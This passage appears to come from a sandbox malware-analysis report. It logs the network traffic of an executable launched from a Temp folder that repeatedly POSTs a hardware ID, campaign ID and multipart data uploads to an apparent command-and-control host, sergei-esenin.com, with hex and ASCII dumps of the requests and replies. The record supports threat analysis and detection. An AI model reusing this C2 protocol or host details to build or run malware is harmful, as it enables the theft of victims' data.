action="/cdn-cgi/phish-bypass" method="GET" enctype="text/plain"> <
2024-10-24 02:03:02 UTC	893	IN	Data Raw: 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e 26 62 75 6c 6c 3b 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 3c 73 70 61 6e 3e 50 65 72 66 6f 72 6d 61 6e 63 65 20 26 61 6d 70 3b 20 73 65 63 75 72 69 74 79 20 62 79 3c 2f 73 70 61 6e 3e 20 3c 61 20 72 65 6c 3d 22 6e 6f 6f 70 65 6e 65 72 20 6e 6f 72 65 66 65 72 72 65 72 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 35 78 78 2d 65 72 72 6f 72 2d 6c 61 6e 64 69 6e 67 22 20 69 Data Ascii: an> <span class="cf-footer-separator sm:hidden">•</span> </span> <span class="cf-footer-item sm:block sm:mb-1"><span>Performance & security by</span> <a rel="noopener noreferrer" href="https://www.cloudflare.com/5xx-error-landing" i
2024-10-24 02:03:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.7	50052	104.21.53.8	443	8092	C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 02:03:03 UTC	354	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Cookie: __cf_mw_byp=TyNMefCBZ2p9Cvy6JvpQTewZXTKFzI.m452uR3zlsts-1729735382-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: sergei-esenin.com
2024-10-24 02:03:03 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-10-24 02:03:04 UTC	1018	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 02:03:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ld3t5lggg3tk12d1371mre5avf; expires=Sun, 16 Feb 2025 19:49:42 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NBYCeh3BpRnsMpwYjR4DvXlJviWzq67je%2FXJm7aiassL%2BohTofLNXoOdacrduHDe%2BRgA5uz%2B9ZaK2rM0kvIXRzvNexiH994ICg4K39GImfSQuXgyVGFwkq1iLrNzDokytuytgQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d7663644ff16c52-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1086&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=1042&delivery_rate=2674053&cwnd=251&unsent_bytes=0&cid=f36f21c980f75653&ts=735&x=0"
2024-10-24 02:03:04 UTC	351	IN	Data Raw: 34 34 36 63 0d 0a 63 36 71 52 47 72 57 68 32 44 37 6c 38 43 77 61 36 66 30 72 45 63 51 4a 78 56 33 42 64 50 53 31 75 6f 6f 67 42 41 33 68 2f 6d 67 49 69 4f 63 34 6a 35 58 30 48 4a 61 56 44 69 43 64 6a 31 35 30 36 43 75 6b 4f 65 4e 4f 6b 74 54 57 2b 55 55 6f 4c 35 65 54 53 6b 6e 4d 38 48 62 47 78 50 51 63 67 49 67 4f 49 4c 4b 47 43 58 53 71 4b 2f 39 2f 70 42 36 57 31 4e 62 6f 51 57 39 69 6b 5a 49 4c 47 38 62 32 63 74 44 43 76 46 2b 4a 6e 55 6c 2f 6a 4a 78 42 66 36 31 6b 72 54 44 6a 57 4e 62 51 77 4b 67 61 4a 6b 43 45 69 67 6b 2b 79 2b 4a 78 6c 39 7a 30 52 63 65 56 51 6a 6a 54 33 30 70 30 70 6d 57 6a 4f 61 6f 63 6e 4e 33 65 36 55 52 75 66 59 69 59 41 42 76 49 39 58 50 61 79 36 68 53 67 35 70 43 65 59 61 63 43 54 33 6d 62 4c 39 2f 2b 31 62 46 35 64 76 35 55 Data Ascii: 446cc6qRGrWh2D7l8Cwa6f0rEcQJxV3BdPS1uoogBA3h/mgIiOc4j5X0HJaVDiCdj1506CukOeNOktTW+UUoL5eTSknM8HbGxPQcgIgOILKGCXSqK/9/pB6W1NboQW9ikZILG8b2ctDCvF+JnUl/jJxBf61krTDjWNbQwKgaJkCEigk+y+Jxl9z0RceVQjjT30p0pmWjOaocnN3e6URufYiYABvI9XPay6hSg5pCeYacCT3mbL9/+1bF5dv5U
2024-10-24 02:03:04 UTC	1369	IN	Data Raw: 58 62 57 7a 72 70 4f 6a 35 6c 46 66 5a 6d 55 51 48 36 72 61 36 6f 31 72 42 57 57 30 4e 4c 69 54 57 78 72 6a 70 45 4d 45 63 69 7a 4e 70 66 45 6f 68 7a 66 30 6d 31 39 6d 35 68 46 5a 65 52 52 35 79 44 74 44 39 62 51 31 4b 67 61 4a 6d 65 47 6e 77 6b 61 78 2f 42 77 33 4e 47 36 54 6f 47 66 53 32 71 4e 6d 6b 64 35 70 58 6d 74 4d 61 55 56 6e 39 7a 52 37 55 56 69 4c 38 33 63 44 51 6d 49 71 7a 6a 32 7a 72 46 51 6a 59 56 4f 4f 4a 54 52 55 44 4f 68 5a 2b 64 6e 34 78 4b 58 30 39 6e 73 54 47 68 72 6a 35 6f 45 48 4d 66 31 63 74 66 45 73 46 53 50 6b 30 4e 7a 68 4a 39 4d 66 71 4a 74 71 7a 36 6d 56 74 69 58 33 2f 41 43 50 69 2b 74 6d 77 6b 44 69 73 5a 37 32 63 32 39 53 73 65 4e 41 47 48 4c 6d 45 55 7a 2f 69 75 70 4f 71 77 45 6c 38 58 64 35 6c 42 71 61 6f 57 52 43 52 2f 49 Data Ascii: XbWzrpOj5lFfZmUQH6ra6o1rBWW0NLiTWxrjpEMEcizNpfEohzf0m19m5hFZeRR5yDtD9bQ1KgaJmeGnwkax/Bw3NG6ToGfS2qNmkd5pXmtMaUVn9zR7UViL83cDQmIqzj2zrFQjYVOOJTRUDOhZ+dn4xKX09nsTGhrj5oEHMf1ctfEsFSPk0NzhJ9MfqJtqz6mVtiX3/ACPi+tmwkDisZ72c29SseNAGHLmEUz/iupOqwEl8Xd5lBqaoWRCR/I
2024-10-24 02:03:04 UTC	1369	IN	Data Raw: 32 39 53 73 65 4e 41 47 48 4c 6d 45 55 7a 2f 69 75 72 4e 71 4d 64 6e 4e 50 59 37 30 39 6a 62 49 53 66 42 78 62 43 2f 58 2f 54 7a 37 4e 52 67 5a 4a 4a 66 49 36 4e 54 48 71 71 5a 2b 64 78 34 78 47 4f 6c 34 43 6f 62 57 46 35 67 4c 4d 4a 41 4d 47 7a 5a 35 6e 61 2b 6c 75 4c 30 68 59 34 6a 4a 70 42 65 4b 42 6a 70 79 32 6d 47 4a 33 57 30 75 35 44 61 32 4f 46 6e 41 73 52 7a 76 39 34 30 4d 53 6f 54 6f 4b 55 58 48 4c 4c 30 51 6c 30 76 69 76 2f 66 35 55 47 67 63 62 4f 71 6e 64 6c 59 59 32 62 48 46 48 58 76 57 47 58 78 4c 59 63 33 39 4a 46 65 49 65 59 51 58 57 69 59 36 67 77 71 67 53 58 32 39 62 36 52 57 5a 6d 6a 5a 4d 47 47 4d 58 30 64 64 7a 4a 74 31 69 41 6b 77 34 32 79 35 68 52 4d 2f 34 72 6b 53 2b 75 47 72 6a 63 31 4f 45 43 65 53 47 61 33 41 30 64 69 4b 73 34 30 Data Ascii: 29SseNAGHLmEUz/iurNqMdnNPY709jbISfBxbC/X/Tz7NRgZJJfI6NTHqqZ+dx4xGOl4CobWF5gLMJAMGzZ5na+luL0hY4jJpBeKBjpy2mGJ3W0u5Da2OFnAsRzv940MSoToKUXHLL0Ql0viv/f5UGgcbOqndlYY2bHFHXvWGXxLYc39JFeIeYQXWiY6gwqgSX29b6RWZmjZMGGMX0ddzJt1iAkw42y5hRM/4rkS+uGrjc1OECeSGa3A0diKs40
2024-10-24 02:03:04 UTC	1369	IN	Data Raw: 47 6c 6b 74 39 6a 35 68 4e 64 61 6b 72 36 58 2b 6b 44 74 61 50 6d 4d 64 6c 55 79 32 69 70 6b 6f 4f 68 75 6f 34 30 4d 2f 36 42 4d 65 65 54 58 53 44 6b 45 39 36 71 6d 47 75 4e 4b 38 64 6b 74 76 52 37 55 52 6e 61 6f 61 64 44 68 33 43 39 58 76 55 7a 4c 56 54 6a 39 49 41 4f 49 79 48 43 53 76 6d 54 72 41 30 72 52 44 57 79 4a 62 78 41 6d 46 6a 77 38 52 4b 48 63 48 31 66 74 4c 50 75 31 71 50 6c 30 5a 38 69 70 6c 50 63 4b 6c 76 6f 6a 36 73 45 70 72 5a 30 75 6c 44 61 6d 53 4d 6c 77 39 52 68 72 4e 2f 7a 34 50 69 48 4c 61 52 57 47 2b 62 6b 77 6c 73 36 48 4c 6e 4f 4b 39 57 7a 70 66 5a 2b 6b 68 73 59 59 61 54 44 78 4c 48 39 48 58 52 7a 37 42 56 6a 35 52 42 63 5a 6d 63 52 58 32 68 5a 61 73 78 72 68 79 56 32 70 69 6d 41 6d 46 33 77 38 52 4b 50 63 2f 2b 56 74 7a 50 76 52 Data Ascii: Glkt9j5hNdakr6X+kDtaPmMdlUy2ipkoOhuo40M/6BMeeTXSDkE96qmGuNK8dktvR7URnaoadDh3C9XvUzLVTj9IAOIyHCSvmTrA0rRDWyJbxAmFjw8RKHcH1ftLPu1qPl0Z8iplPcKlvoj6sEprZ0ulDamSMlw9RhrN/z4PiHLaRWG+bkwls6HLnOK9WzpfZ+khsYYaTDxLH9HXRz7BVj5RBcZmcRX2hZasxrhyV2pimAmF3w8RKPc/+VtzPvR
2024-10-24 02:03:04 UTC	1369	IN	Data Raw: 4f 4d 58 66 54 6d 76 6d 4d 2b 63 4a 70 41 61 47 31 4a 72 5a 56 47 56 35 69 4a 45 47 55 64 65 39 59 5a 66 45 74 68 7a 66 30 6b 68 33 67 70 78 47 63 71 39 6e 71 6a 71 71 45 35 66 52 33 4f 4a 49 5a 6d 6d 46 6e 51 38 62 79 2f 4a 79 33 73 53 79 57 34 53 41 44 6a 62 4c 6d 46 45 7a 2f 69 75 4f 4f 4c 45 59 68 70 66 48 70 6c 73 6d 61 49 2f 63 55 6c 48 4d 2b 58 66 54 78 4c 5a 61 67 70 52 44 65 59 53 65 53 58 79 69 59 4b 34 35 6f 68 75 54 32 74 7a 36 53 47 31 67 6a 35 55 47 48 49 69 39 4f 4e 44 62 2b 67 54 48 6f 30 4e 32 68 5a 68 66 4d 37 6b 6c 76 6e 2b 6b 47 74 61 50 6d 4f 6c 4f 61 57 79 4d 6e 77 6b 51 77 75 46 71 32 38 71 79 57 59 75 5a 51 48 36 5a 6d 55 5a 36 70 57 69 75 4f 4b 73 61 6e 4e 54 66 71 41 77 6d 61 4a 76 63 55 6c 48 72 35 47 6a 61 67 36 55 53 6e 74 4a Data Ascii: OMXfTmvmM+cJpAaG1JrZVGV5iJEGUde9YZfEthzf0kh3gpxGcq9nqjqqE5fR3OJIZmmFnQ8by/Jy3sSyW4SADjbLmFEz/iuOOLEYhpfHplsmaI/cUlHM+XfTxLZagpRDeYSeSXyiYK45ohuT2tz6SG1gj5UGHIi9ONDb+gTHo0N2hZhfM7klvn+kGtaPmOlOaWyMnwkQwuFq28qyWYuZQH6ZmUZ6pWiuOKsanNTfqAwmaJvcUlHr5Gjag6USntJ
2024-10-24 02:03:04 UTC	1369	IN	Data Raw: 45 39 39 74 47 36 68 4d 4b 77 66 6e 39 50 51 36 30 4a 69 61 34 53 5a 43 52 33 44 39 48 76 59 78 37 4e 53 6a 70 30 4f 4e 73 75 59 55 54 50 2b 4b 34 59 6b 6f 42 71 62 6c 38 65 6d 57 79 5a 6f 6a 39 78 53 55 63 54 39 66 64 66 4a 76 46 69 43 6c 45 52 39 69 35 52 4b 66 4b 4a 74 6f 7a 43 6a 48 5a 2f 57 33 75 31 49 62 57 6d 4f 6e 77 77 58 69 4c 30 34 30 4e 76 36 42 4d 65 79 56 58 57 48 6d 41 6c 73 36 48 4c 6e 4f 4b 39 57 7a 70 66 54 35 45 5a 68 62 34 36 66 41 68 54 4d 2b 58 33 58 79 36 68 55 68 35 56 63 61 6f 75 57 54 48 2b 6c 61 36 4d 35 71 68 43 56 30 35 69 6d 41 6d 46 33 77 38 52 4b 50 4d 54 30 55 64 44 59 2b 6b 50 4a 69 77 35 2f 68 39 38 52 4d 36 64 67 72 54 43 75 46 5a 44 55 30 2b 31 49 5a 32 69 4c 6b 52 67 53 78 2f 78 38 31 38 79 38 57 6f 61 64 53 48 2b 43 Data Ascii: E99tG6hMKwfn9PQ60Jia4SZCR3D9HvYx7NSjp0ONsuYUTP+K4YkoBqbl8emWyZoj9xSUcT9fdfJvFiClER9i5RKfKJtozCjHZ/W3u1IbWmOnwwXiL040Nv6BMeyVXWHmAls6HLnOK9WzpfT5EZhb46fAhTM+X3Xy6hUh5VcaouWTH+la6M5qhCV05imAmF3w8RKPMT0UdDY+kPJiw5/h98RM6dgrTCuFZDU0+1IZ2iLkRgSx/x818y8WoadSH+C
2024-10-24 02:03:04 UTC	1369	IN	Data Raw: 55 73 6d 51 47 45 41 4a 7a 51 79 4f 39 56 61 53 2f 4e 33 41 56 52 6b 4d 6f 34 33 73 53 68 54 5a 47 66 58 6e 2f 4c 6f 41 63 7a 76 69 76 2f 66 35 59 56 6d 4e 6e 66 2f 6c 4d 72 53 4a 57 57 44 51 48 50 35 48 65 58 6a 66 70 61 78 38 6f 64 4e 73 75 62 57 44 50 2b 4f 2f 56 6b 39 6b 58 42 68 34 72 33 44 48 38 76 6c 64 78 53 51 34 61 7a 61 70 65 62 2b 68 75 45 67 46 78 2b 69 49 6c 4b 4e 4a 68 56 67 43 57 75 45 49 48 47 35 74 5a 46 66 47 4b 46 69 78 74 64 33 66 42 32 32 63 53 73 48 4d 6e 53 51 54 6a 54 70 67 6b 37 35 6c 54 70 66 37 74 57 7a 70 66 74 36 30 78 6f 61 4a 57 4e 52 7a 62 53 2f 6e 37 41 30 76 6f 53 78 35 51 4f 49 4e 76 52 43 58 65 33 4b 2f 39 76 38 55 33 44 68 49 2b 34 45 48 6b 68 6d 74 77 63 55 5a 43 68 4e 70 66 52 2b 67 54 48 31 55 31 71 6d 5a 6c 4b 5a Data Ascii: UsmQGEAJzQyO9VaS/N3AVRkMo43sShTZGfXn/LoAczviv/f5YVmNnf/lMrSJWWDQHP5HeXjfpax8odNsubWDP+O/Vk9kXBh4r3DH8vldxSQ4azapeb+huEgFx+iIlKNJhVgCWuEIHG5tZFfGKFixtd3fB22cSsHMnSQTjTpgk75lTpf7tWzpft60xoaJWNRzbS/n7A0voSx5QOINvRCXe3K/9v8U3DhI+4EHkhmtwcUZChNpfR+gTH1U1qmZlKZ
2024-10-24 02:03:04 UTC	1369	IN	Data Raw: 6e 34 30 37 57 34 74 76 6d 54 47 46 35 6b 74 45 74 48 38 2f 79 62 73 66 55 74 52 7a 4a 30 6b 67 34 30 38 30 48 4d 36 4a 36 35 32 66 7a 52 4d 32 43 69 37 38 53 4e 48 44 4e 68 55 6f 48 69 4b 73 71 6d 59 4f 6f 48 4e 2f 53 43 58 75 5a 6a 55 39 77 73 47 6a 67 41 5a 30 78 6d 4e 44 5a 2f 6c 4a 78 59 4d 79 79 50 44 44 32 7a 57 33 55 7a 62 52 62 6b 59 4d 4f 4e 73 75 51 43 53 75 66 4b 2b 39 2f 6e 46 6a 57 7a 35 69 77 41 6c 4e 73 6a 5a 49 4e 42 39 6d 2b 58 39 6e 45 75 30 71 58 68 55 45 33 70 61 6c 6f 4d 2b 67 72 6f 58 2f 37 52 4e 69 58 33 50 6b 43 50 6a 2f 52 78 31 39 43 6e 36 4d 71 79 49 32 6a 48 4a 48 53 46 69 72 46 33 31 73 7a 2f 69 76 67 50 4c 45 45 6b 4e 54 4f 36 77 56 59 55 61 53 53 44 52 44 65 34 33 58 62 34 72 6c 4e 6a 61 78 77 62 59 69 52 52 33 53 77 65 75 Data Ascii: n407W4tvmTGF5ktEtH8/ybsfUtRzJ0kg4080HM6J652fzRM2Ci78SNHDNhUoHiKsqmYOoHN/SCXuZjU9wsGjgAZ0xmNDZ/lJxYMyyPDD2zW3UzbRbkYMONsuQCSufK+9/nFjWz5iwAlNsjZINB9m+X9nEu0qXhUE3paloM+groX/7RNiX3PkCPj/Rx19Cn6MqyI2jHJHSFirF31sz/ivgPLEEkNTO6wVYUaSSDRDe43Xb4rlNjaxwbYiRR3Sweu
2024-10-24 02:03:04 UTC	1369	IN	Data Raw: 70 39 72 63 2f 6c 64 6c 66 34 53 69 4e 44 7a 61 39 47 6a 55 67 5a 5a 62 69 70 35 77 52 72 79 4f 54 6d 50 6b 54 61 51 70 6f 46 62 59 6c 38 43 6f 47 69 5a 43 6b 5a 73 61 45 6f 72 66 66 39 72 50 2b 6b 50 4a 69 77 35 75 79 38 63 61 50 65 5a 35 35 32 66 6a 55 5a 58 46 79 75 35 42 63 47 7a 45 6f 6a 51 38 32 76 52 6f 31 49 47 4c 55 59 4f 45 57 33 75 62 6d 48 64 4e 69 33 6d 67 4c 36 42 55 73 2b 32 61 32 56 52 6c 62 34 32 62 53 6c 2b 49 36 7a 69 50 67 35 64 4f 67 49 4a 4e 4f 71 36 6c 43 30 4b 77 61 4b 63 78 70 46 61 4a 6d 63 47 6f 56 43 59 33 30 4e 4a 4b 41 34 69 72 4f 4a 44 4e 74 31 32 45 6e 45 31 71 6d 5a 6c 4b 5a 61 55 73 6d 51 47 4d 48 5a 66 48 31 66 6c 50 59 6e 6d 39 6f 69 30 58 7a 66 52 47 36 66 53 72 57 35 66 51 61 48 75 64 6e 41 6b 39 35 6e 50 6e 5a 2b 4d Data Ascii: p9rc/ldlf4SiNDza9GjUgZZbip5wRryOTmPkTaQpoFbYl8CoGiZCkZsaEorff9rP+kPJiw5uy8caPeZ552fjUZXFyu5BcGzEojQ82vRo1IGLUYOEW3ubmHdNi3mgL6BUs+2a2VRlb42bSl+I6ziPg5dOgIJNOq6lC0KwaKcxpFaJmcGoVCY30NJKA4irOJDNt12EnE1qmZlKZaUsmQGMHZfH1flPYnm9oi0XzfRG6fSrW5fQaHudnAk95nPnZ+M

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.7	50058	104.21.53.8	443	8092	C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 02:03:04 UTC	372	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=TyNMefCBZ2p9Cvy6JvpQTewZXTKFzI.m452uR3zlsts-1729735382-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12849 Host: sergei-esenin.com
2024-10-24 02:03:04 UTC	12849	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 37 37 38 45 37 34 35 38 36 44 45 46 42 31 30 36 42 45 35 42 35 36 33 36 33 33 30 37 35 43 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"E778E74586DEFB106BE5B563633075C2--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-24 02:03:05 UTC	1018	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 02:03:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=q64mujil0ag1h93hlcer293n99; expires=Sun, 16 Feb 2025 19:49:44 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kgBHaQNHsC1CxK5KXWaWB55FL3jcAfZCF0aNDAFIGUR1GvVJ95RrHkVzI%2FfVYvCrJwdMx50lJy14%2BFd7rdh1Rf8xwbGHS0So5YWbLW2qkv%2BG6eTJgy5xzoyrNNETcRQjSW13sw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d76636bcbd76bce-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1226&sent=9&recv=19&lost=0&retrans=0&sent_bytes=2846&recv_bytes=13879&delivery_rate=2329847&cwnd=238&unsent_bytes=0&cid=2a271baaf7ba0ba4&ts=615&x=0"
2024-10-24 02:03:05 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 31 0d 0a Data Ascii: 11ok 173.254.250.71
2024-10-24 02:03:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.7	50069	104.21.53.8	443	8092	C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 02:03:06 UTC	372	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=TyNMefCBZ2p9Cvy6JvpQTewZXTKFzI.m452uR3zlsts-1729735382-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15081 Host: sergei-esenin.com
2024-10-24 02:03:06 UTC	15081	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 37 37 38 45 37 34 35 38 36 44 45 46 42 31 30 36 42 45 35 42 35 36 33 36 33 33 30 37 35 43 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"E778E74586DEFB106BE5B563633075C2--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-24 02:03:07 UTC	1018	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 02:03:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=dcbq350jni0hog7dnr2fcur68b; expires=Sun, 16 Feb 2025 19:49:46 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xRQYZoFB5Td2BSSiC4PESdfsSZNauCDx5j7H%2BIKQm0KUm8AMICz9yc2tPcRI1U3j9ZCWGVD%2BRB8txVwWhAdjJabSPlpbZZRBtFl5fDw9XoKMNIbdtlY2msrUay3w4goBR4PRPQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d766377b8e746e9-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1161&sent=11&recv=21&lost=0&retrans=0&sent_bytes=2845&recv_bytes=16111&delivery_rate=2289328&cwnd=248&unsent_bytes=0&cid=169c42b110568e74&ts=1104&x=0"
2024-10-24 02:03:07 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 31 0d 0a Data Ascii: 11ok 173.254.250.71
2024-10-24 02:03:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.7	50087	104.21.53.8	443	8092	C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 02:03:08 UTC	372	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=TyNMefCBZ2p9Cvy6JvpQTewZXTKFzI.m452uR3zlsts-1729735382-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20406 Host: sergei-esenin.com
2024-10-24 02:03:08 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 37 37 38 45 37 34 35 38 36 44 45 46 42 31 30 36 42 45 35 42 35 36 33 36 33 33 30 37 35 43 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"E778E74586DEFB106BE5B563633075C2--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
